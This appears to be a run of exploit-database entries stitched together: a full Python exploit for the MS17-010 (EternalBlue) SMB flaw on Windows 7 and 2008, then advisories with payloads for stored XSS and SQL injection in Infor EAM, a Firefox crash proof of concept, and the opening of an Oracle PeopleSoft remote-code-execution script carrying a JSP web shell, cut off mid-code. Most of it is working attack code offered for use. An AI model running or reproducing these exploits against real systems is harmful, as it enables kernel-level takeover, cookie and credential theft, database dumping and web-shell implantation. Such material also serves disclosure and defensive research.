- Windows 7 SP1 x86
- Windows 2008 SP1 x64
- Windows 2008 SP1 x86
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
Bug detail:
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- The exploit also use other 2 bugs (see details in BUG.txt)
- Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
- Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
######
Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
- Controlling MDL values results in arbitrary write
- Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
- First 4 bytes contains length of SMB message
- The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
- If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
- If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
- Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
- Memory leak is ok to be ignored
Shellcode note:
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
- On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
- IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
- On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
get call because it is called on other processors
- Shellcode should be aware of double overwriting system call target address when using hijacking system call method
- Then, using APC in Process context to get code execution in userland (ring 3)
#E-DB Note: https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a
#E-DB Note: https://github.com/worawit/MS17-010/blob/eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce/eternalblue_exploit7.py
'''
# Note: see how to craft FEALIST in eternalblue_poc.py
# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
// for x64
struct SRVNET_BUFFER {
// offset from POOLHDR: 0x10
USHORT flag;
char pad[2];
char unknown0[12];
// offset from SRVNET_POOLHDR: 0x20
LIST_ENTRY list;
// offset from SRVNET_POOLHDR: 0x30
char *pnetBuffer;
DWORD netbufSize; // size of netBuffer
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
// offset from SRVNET_POOLHDR: 0x40
MDL *pMdl1; // at offset 0x70
DWORD nByteProcessed;
DWORD pad3;
// offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4;
QWORD pSrvNetWskStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2;
QWORD unknown5;
// offset from SRVNET_POOLHDR: 0x70
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
// MDL mdl2;
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
// char netBuffer[0];
};
struct SRVNET_POOLHDR {
DWORD size;
char unknown[12];
SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
# - 0x70 (VOID*) : MDL.Next should be NULL
# - 0x78 (USHORT) : MDL.Size should be some value that not too small
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x80 (VOID*) : MDL.Process should be NULL
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
# a corrupted buffer MUST not be reused.
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x2c mov ecx, [rdx+0x2c]
# \x89\x4a\x38 mov [rdx+0x38], ecx
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
# below 0x20 bytes is overwritting MDL
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
# below is for targeting x64 only (all x86 related values are set to 0)
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64
feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00010
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x08: set to 3 (DWORD) for invoking ptr to function
# offset 0x1d0: KSPIN_LOCK
# offset 0x1d8: array of pointer to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
def createSessionAllocNonPaged(target, size):
# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
# - GetNtSecurityParameters() function is resposible for extracting data from this packet format
# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
# - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
# These 2 formats have different WordCount (first one is 13 and later is 12).
# Here is logic in BlockingSessionSetupAndX() related to this bug
# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
# - else, process a message as NT Security request
# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
# But GetExtendSecurityParameters() checks ByteCount value again.
# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
# Here is another bug in MS17-010.
# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
# https://msdn.microsoft.com/en-us/library/ee441514.aspx
# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client
# can use *_SECONDARY command to send transaction message. When sending a transaction completely with
# *_SECONDARY command, a server uses the last command that complete the transaction.
# For example:
# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
#
# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
# For example:
# - a client start transaction with SMB_COM_NT_TRANSACT command
# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction
# with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
# field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB() # must be success
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
def createConnectionWithBigSMBFirst80(target):
# https://msdn.microsoft.com/en-us/library/cc246496.aspx
# Above link is about SMB2, but the important here is first 4 bytes.
# If using wireshark, you will see the StreamProtocolLength is NBSS length.
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
#
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
# we have to know what size of NtFeaList will be created when last fragment is sent
# make sure server recv all payload before starting allocate big NonPaged
#sendEcho(conn, tid, 'a'*12)
# create buffer size NTFEA_SIZE-0x1000 at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# send echo again, all new 5 srvnet buffers should be created
#sendEcho(conn, tid, 'a'*12)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode by closing srvnet connection
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')
Stored XSS in INFOR EAM V11.0 Build 201410 via comment fields
-------------------
Assigned CVE: CVE-2017-7953
Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to the jobs page
3. Click on a record and open its page
4. Go to "Comments" tab
4. Click the add new comment button
5. Insert a comment containing javascript code, e.g. <img src=fakesource onerror="alert(document.cookie)"> Fake comment here
6. Save, and after page reloading the XSS should trigger
Example:
-------------------
PoC Screenshot: https://www.dropbox.com/s/2b859x9go8v9f2l/xss.png?dl=0
Exploitability
-------------------
In EAM software user comments have read classification to every
authenticated users. Any authenticated user could became a valid victim to
the described attack by navigate (spontaneously or not) to the infected
page. The comment visualization triggers injected javascript code.
On the other side any user able to write a comment could become a possible
attacker by introducing javascript into the comment body.
Impact
-------------------
By reading browser cookies an attacker could ultimately grab administrative
credentials having access to each available EAM action.
The vulnerability could ultimately allow an attacker to steal credential,
leak sensitive data, trick user to download malware.
Disclosure timeline
-------------------
26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
<!--
Title:
==============
Unpatched Mozilla Firefox v50 - v55 Stack Overflow DoS Vulnerability
References:
==============
https://bugzilla.mozilla.org/show_bug.cgi?id=1322307
Timeline:
==============
Reported to Mozilla: 2016-12-06
Mozilla made public: 2016-12-15
Declined bounty: 2017-01-30
Advisory released: 2017-05-16
Technical Details:
==============
A stack overflow DoS vulnerability affecting Firefox versions 50 through 55 was discovered by Geeknik Labs. This flaw does NOT affect ESR 45 or the latest version of the Tor Browser Bundle. This flaw can be triggered by simply visiting a website with the PoC code embedded in it and requires no further user interaction nor does it require any special privileges. Successful exploitation results in the browser tab crashing.
Security Level:
==============
Medium
CVSS Score:
==============
3
Proof of Concept:
==============
-->
<html>
<head></head>
<body>
<script>
function done() {
}
var x = '';
for (i=0; i<500000; ++i)
x += '<a>';
var uri = 'data:image/svg+xml,' + x;
var i = new Image();
i.src = uri;
</script>
</body>
</html>
<!--
Visiting https://bugzilla.mozilla.org/attachment.cgi?id=8817075 may likely crash your browser tab.
Debug Information:
==============
(ff4.1108): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5e3be520 ebx=00000000 ecx=256fab00 edx=00000001 esi=00000001 edi=256faab0
eip=5c718053 esp=00802ff4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
xul!mozilla::dom::Element::UnbindFromTree+0x3:
5c718053 53 push ebx
FAULTING_IP:
xul!nsINode::doRemoveChildAt+6a [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\dom\base\nsinode.cpp @ 1910]
5c805677 8d4df8 lea ecx,[ebp-8]
BUCKET_ID: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_xul!nsINode::doRemoveChildAt+6a
Credits:
==============
Brian Carpenter, Geeknik Labs, https://twitter.com/geeknik
-->
SQL injection in INFOR EAM V11.0 Build 201410 search fields (web/base/..) via filtervalue parameter
-------------------
Assigned CVE: CVE-2017-7952
Reproduction steps:
-------------------
1. Log in with your EAM account
2. Go to any page with a search or filter field in it (for example web/base/WSJOBS.xmlhttp)
3. Make any search and intercept the request with a proxy
4. In the intercepted request, replace the value of "filteroperator" parameter with IN.
5. The "filtervalue" become vulnerable to SQL Injection
Example:
-------------------
URL:http://<EAM_IP>/web/base/WSJOBS.xmlhttp
POST DATA:
GRID_ID=<ID>&GRID_NAME=WSJOBS&DATASPY_ID=<ID>&USER_FUNCTION_NAME=WSJOBS&SYSTEM_FUNCTION_NAME=WSJOBS&CURRENT_TAB_NAME=LST&COMPONENT_INFO_TYPE=DATA_ONLY&filterfields=<field>&filteroperator=IN&filtervalue=<injection point>
Exploitability
-------------------
Since the SQL injection vulnerability is available for any logged users, an
attacker needs a valid credential to exploit that vulnerability. By
exploiting that SQL Injection the attacker could obtain any available data
(even if they don’t belongs directly to him), eventually deleting and
replacing data as well.
Impact
-------------------
This vulnerability allows full database access. It includes sensitive
information that normally should be accessed by specific users.
An attacker could dump the user table, which contains usernames and
password hashes, and proceed to bruteforcing passwords offline and could
possibly obtain administrative credentials, or could access private files
or personal details such as: telephone numbers, physical address and
private assets.
Obtaining administrative credentials would allow an attacker to perform
actions like: add or deleting users, jobs, and everything else an admin can
do.
By having access to sensible information the attacker could eventually
pivoting them to perform further attacks on different target assets.
Disclosure timeline
-------------------
26.04.2017 Vulnerability reported to vendor
15.05.2017 Advisory published
#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17
import requests
import urllib.parse
import re
import string
import random
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
try:
import colorama
except ImportError:
colorama = None
else:
colorama.init()
COLORS = {
'+': colorama.Fore.GREEN,
'-': colorama.Fore.RED,
':': colorama.Fore.BLUE,
'!': colorama.Fore.YELLOW
}
URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'
# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'
class Browser:
"""Wrapper around requests.
"""
def __init__(self, url):
self.url = url
self.init()
def init(self):
self.session = requests.Session()
self.session.proxies = {
'http': PROXY,
'https': PROXY
}
self.session.verify = False
def get(self, url ,*args, **kwargs):
return self.session.get(url=self.url + url, *args, **kwargs)
def post(self, url, *args, **kwargs):
